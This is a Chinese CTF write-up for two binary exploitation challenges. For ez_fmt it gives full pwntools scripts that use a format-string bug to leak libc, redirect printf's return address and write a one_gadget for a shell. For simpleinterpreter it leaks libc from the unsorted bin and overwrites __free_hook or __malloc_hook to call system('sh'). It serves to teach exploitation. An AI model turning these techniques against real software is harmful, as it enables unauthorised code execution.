看了一眼其他人的wp,自己可能做出来的就两道,其中ez_fmt实战中卡了好久,赛后一个提示要用printf的ret地址豁然开朗。因此就给大家写这两道相对简单的题吧。
1. ez_fmt
https://pan.baidu.com/s/1YxAkJgxtVQf2Dz9fBdWuXw
密码:GAME
一眼字符串格式化,提供了libc-2.31.so,而且非常贴心的帮你把栈打印出来了。
这里由于glibc-all-in-one的libc-2.31报错,所以我用2.26做的,本地做题应该没影响。
但这题有三个难点:
1,没有循环,意味着泄露libc和劫持got只能做一件。
2,read处限制了0x30个字节。
3,有个w在.data区,执行完字符串格式化会马上置0。
先看看传统%p查看偏移。
泄露libc有两种方法,一种还是通过got泄露。注意64位字符串格式化有个\x00截断的问题,因为got地址含有\x00,所以不能像32位那样放在payload最前面。
payload1 = "http://"+p32(start_got)+"%13$s"
而是放在最后面
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./ez_fmt","b main")
sh = process("./ez_fmt")
elf = ELF("./ez_fmt")
got_libc_startmain = elf.got['__libc_start_main']
payload = "%7$s"+"A"*4+p64(got_libc_startmain)
recv1 = sh.recvline()
sh.sendline(payload)
recv2 = sh.recv()
stack_addr = recv1[24:38]
print("stack: "+stack_addr)
addr_libc_startmain = u64(recv2[0:6]+"\x00\x00")
print("libc_main: "+hex(addr_libc_startmain))
#sh.interactive()
不得不说这样做麻烦很多,如果想打印更多地址,或者利用%hhn进行地址写的话,需要根据插入的got数量,不断的更改%7$s中的7。
以及如果想使用fmtstr_payload,必须加入context.arch='amd64'。
进gdb验证一下libc是否正确。
后3位是一样的就行,在验证libc的同时,看一眼栈上还有哪些东西可以泄露。
可以看到,ret的地址就是libc_main+241。因此用这里泄露libc更加简洁,有助于让我们使用这该死的0x30限制。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./ez_fmt","b main")
sh = process("./ez_fmt")
elf = ELF("./ez_fmt")
got_libc_startmain = elf.got['__libc_start_main']
payload = "%19$p"
recv1 = sh.recvline()
sh.sendline(payload)
recv2 = sh.recv()
stack_addr = recv1[24:38]
print("stack: "+stack_addr)
addr_libc_startmain = int(recv2[0:14],16) -241
print("libc_main: "+ hex(addr_libc_startmain))
#sh.interactive()
在泄露libc的同时,我们需要完成一次循环,因为ALSR的缘故每次libc返回的地址都不一样,因此就必须完成一个任意地址写。将返回地址改到main上,再进行一次字符串格式的利用。
巧了,%19$p不正好就是ebp的高位ret地址吗?但这里并不能完成利用,动态调试可以发现,它是在w置0后再ret的。
所以必须找一个在mov eax,0之前的地址改写。正式比赛时,我就死在了这点上。
比赛结束后,朋友告知,需要改写printf()的返回地址,这个进printf()内部好像调试不出来,但可以猜测,返回地址一定是call printf的下一个地址0x40123e。
s进入printf内部发现它就在call printf之前的栈上的下8位。
这样,开头就告诉你的栈地址就派上用场了,我们可以利用字符串格式化漏洞篡改stack_addr-8的后4位,跳到0x4010B0(_start)上。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./ez_fmt","b main")
sh = process("./ez_fmt")
elf = ELF("./ez_fmt")
got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()
stack_addr = int(recv1[24:38], 16)
#_start = 0x4010B0
#0x10B0 = 4272
payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)
sh.sendline(payload)
recv2 = sh.recv()
print("stack: "+hex(stack_addr))
#addr_libc_startmain = int(recv2[0:14],16) -241
#print("libc_main: "+ hex(addr_libc_startmain))
sh.interactive()
可以看到,重新跳转到main,重新打印了一次栈。
接下来执行字符串格式化漏洞也没有问题。
接下来就是捕获libc并且向ret写入one_gaget了,计算一下one_gaget。这里换成recvuntil()更容易定位泄露地址。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./ez_fmt","b main")
sh = process("./ez_fmt")
elf = ELF("./ez_fmt")
got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()
stack_addr = int(recv1[24:38], 16)
#_start = 0x4010B0
#0x10B0 = 4272
payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)
sh.sendline(payload)
recv2 = sh.recvuntil("0x")
print("stack1: "+hex(stack_addr))
recv3 = sh.recvuntil("0x")
recv4 = sh.recv()
addr_libc_start_main = int("0x"+ recv3[0:12],16) -241
stack_addr = int("0x"+ recv4[0:12], 16)
print("libc_main: "+ hex(addr_libc_start_main))
print("stack2: "+hex(stack_addr))
#one_gadget 0x47c46
one_gadget_addr = addr_libc_start_main - 0x0210d0 + 0x47c46
print("one_gadget_addr: "+ hex(one_gadget_addr))
sh.interactive()
libc_main的地址和one_gadget的地址由于都在libc上,所以基本上是差不多的,这样我们只需要使用两次hn就能较方便的改写ret上的libc_main+241地址。如果想改写整个64位地址,0x30的长度限制是远远不够用的。
最终本地exp如下。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = remote('2.2.2.2',1337)
#sh = gdb.debug("./ez_fmt","b main")
sh = process("./ez_fmt")
elf = ELF("./ez_fmt")
got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()
stack_addr = int(recv1[24:38], 16)
#_start = 0x4010B0
#0x10B0 = 4272
payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)
sh.sendline(payload)
recv2 = sh.recvuntil("0x")
print("stack1: "+hex(stack_addr))
recv3 = sh.recvuntil("0x")
recv4 = sh.recv()
addr_libc_start_main = int("0x"+ recv3[0:12],16) -241
stack_addr = int("0x"+ recv4[0:12], 16)
print("libc_main: "+ hex(addr_libc_start_main))
print("stack2: "+hex(stack_addr))
#one_gadget 0xfdb8e
one_gadget_addr = addr_libc_start_main - 0x0210d0 + 0xfdb8e
print("one_gadget_addr: "+ hex(one_gadget_addr))
one_a = int(("0x"+str(hex(one_gadget_addr))[-8:-4]),16)
one_b = int(("0x"+str(hex(one_gadget_addr))[-4:]),16)
print(hex(one_a))
print(hex(one_b))
if (one_a > one_b ):
payload = "%" +str(one_b)+"c%10$hn%" + str(one_a-one_b) + "c%11$hn"
payload = payload.ljust(0x20,"A")
#print(payload)
payload = payload + p64(stack_addr+0x68) + p64(stack_addr+0x68+2)
sh.sendline(payload)
sh.interactive()
成功在本地getshell,远程getshell的时候,由于libc的不同,有些地方要修改一下,比如one_gadget和这里
addr_libc_start_main = int("0x"+ recv3[0:12],16) -243
这里可以通过got泄露libc的时候对比出来,远程也成功getshell。
2. simpleinterpreter
自带libc-2.27.so,我们使用2.27-3ubuntu1_amd64来做。
如它的名字所说,它是一个简单解释器,在main中可以看到非常多的报错提示。
如果将其当作一个正常堆题来做,只会这样。
所以我们需要直接输入一个可以被gcc编译的代码。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")
sh = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
payload = '''
int main(){
int a;
a = 0x49;
printf("%p",a);
return 0;
}
'''
sh.sendlineafter('size:',str(len(payload)))
sh.sendlineafter('et:',payload)
sh.interactive()
那么机智如我,直接一个system('id');。
当然没有那么简单,它只能用堆相关的几个方法,比如malloc,free。
但仔细想一想,可以执行受限的c语言,也就直接获得了任意地址读和任意地址写,只要泄露libc,随便劫持一个方法不就行了吗。由于提供的是libc-2.27.so,所以自然而然的想到打印unsorted bin的fd。
注意需要多申请一个小堆防止大堆块释放与TOPchunk合并。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")
sh = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
payload = '''
int main(){
int* free_hook;
char* sh;
free_hook = malloc(0x500);
sh = malloc(0x10);
free(free_hook);
printf("%p",*free_hook);
return 0;
}
'''
sh.sendlineafter('size:',str(len(payload)))
sh.sendlineafter('et:',payload)
sh.interactive()
此时得到的是main_arena+N的地址,在之前做babyheap2019时,说这个地址是固定的__malloc_hook +0x10+0x58,但这里通过libc文件的后三位计算发现这次并不是。而是__malloc_hook + 0x70。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")
sh = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc__malloc_hook = libc.sym['__malloc_hook']
main_arena_58 = libc__malloc_hook + 0x70
libc_system = libc.sym['system']
libc_free = libc.sym['__free_hook']
print(hex(libc__malloc_hook)) #0x3ebc30
print(hex(main_arena_58)) #0x3ebca0
print(hex(libc_system)) #0x4f440
print(hex(libc_free)) #0x3ed8e8
payload = '''
int main(){
int* free_hook;
char* sh;
int libc;
free_hook = malloc(0x500);
sh = malloc(0x10);
free(free_hook);
printf("%p\n",*free_hook);
libc = *free_hook - 0x3ebca0;
printf("%p\n",libc);
return 0;
}
'''
sh.sendlineafter('size:',str(len(payload)))
sh.sendlineafter('et:',payload)
sh.interactive()
如何getshell呢?这题有Full RELRO保护,意味着无法修改got表,所以需要用到__free_hook/__malloc_hook这个两个可改写地址的钩子函数。
劫持的方法也很简单,因为free_hook是个指针,所以修改它的值为__free_hook地址,再修改*free_hook为system地址,然后free一块写了sh字符串的小堆,即可完成getshell。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")
sh = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc__malloc_hook = libc.sym['__malloc_hook']
main_arena_58 = libc__malloc_hook + 0x70
libc_system = libc.sym['system']
libc_free = libc.sym['__free_hook']
print(hex(libc__malloc_hook)) #0x3ebc30
print(hex(main_arena_58)) #0x3ebca0
print(hex(libc_system)) #0x4f440
print(hex(libc_free)) #0x3ed8e8
payload = '''
int main(){
int* free_hook;
char* sh;
int libc;
free_hook = malloc(0x500);
sh = malloc(0x10);
free(free_hook);
printf("%p\n",*free_hook);
libc = *free_hook - 0x3ebca0;
printf("%p\n",libc);
free_hook = libc + 0x3ed8e8;
*free_hook = libc + 0x04f440;
sh[0] = 's';
sh[1] = 'h';
free(sh);
return 0;
}
'''
sh.sendlineafter('size:',str(len(payload)))
sh.sendlineafter('et:',payload)
sh.interactive()
如果是用__malloc_hook,也是一样的道理,只不过这次要用到one_gadget
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")
sh = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc__malloc_hook = libc.sym['__malloc_hook']
main_arena_58 = libc__malloc_hook + 0x70
libc_system = libc.sym['system']
libc_free = libc.sym['__free_hook']
print(hex(libc__malloc_hook)) #0x3ebc30
print(hex(main_arena_58)) #0x3ebca0
print(hex(libc_system)) #0x4f440
print(hex(libc_free)) #0x3ed8e8
#one_gadget
#0x4f2c5
#0x4f322
#0x10a38c
payload = '''
int main(){
int* malloc_hook;
char* sh;
int libc;
malloc_hook = malloc(0x500);
sh = malloc(0x10);
free(malloc_hook);
printf("%p\n",*malloc_hook);
libc = *malloc_hook - 0x3ebca0;
printf("%p\n",libc);
malloc_hook = libc + 0x3ebc30;
*malloc_hook = libc + 0x4f322;
malloc(0x10);
return 0;
}
'''
sh.sendlineafter('size:',str(len(payload)))
sh.sendlineafter('et:',payload)
sh.interactive()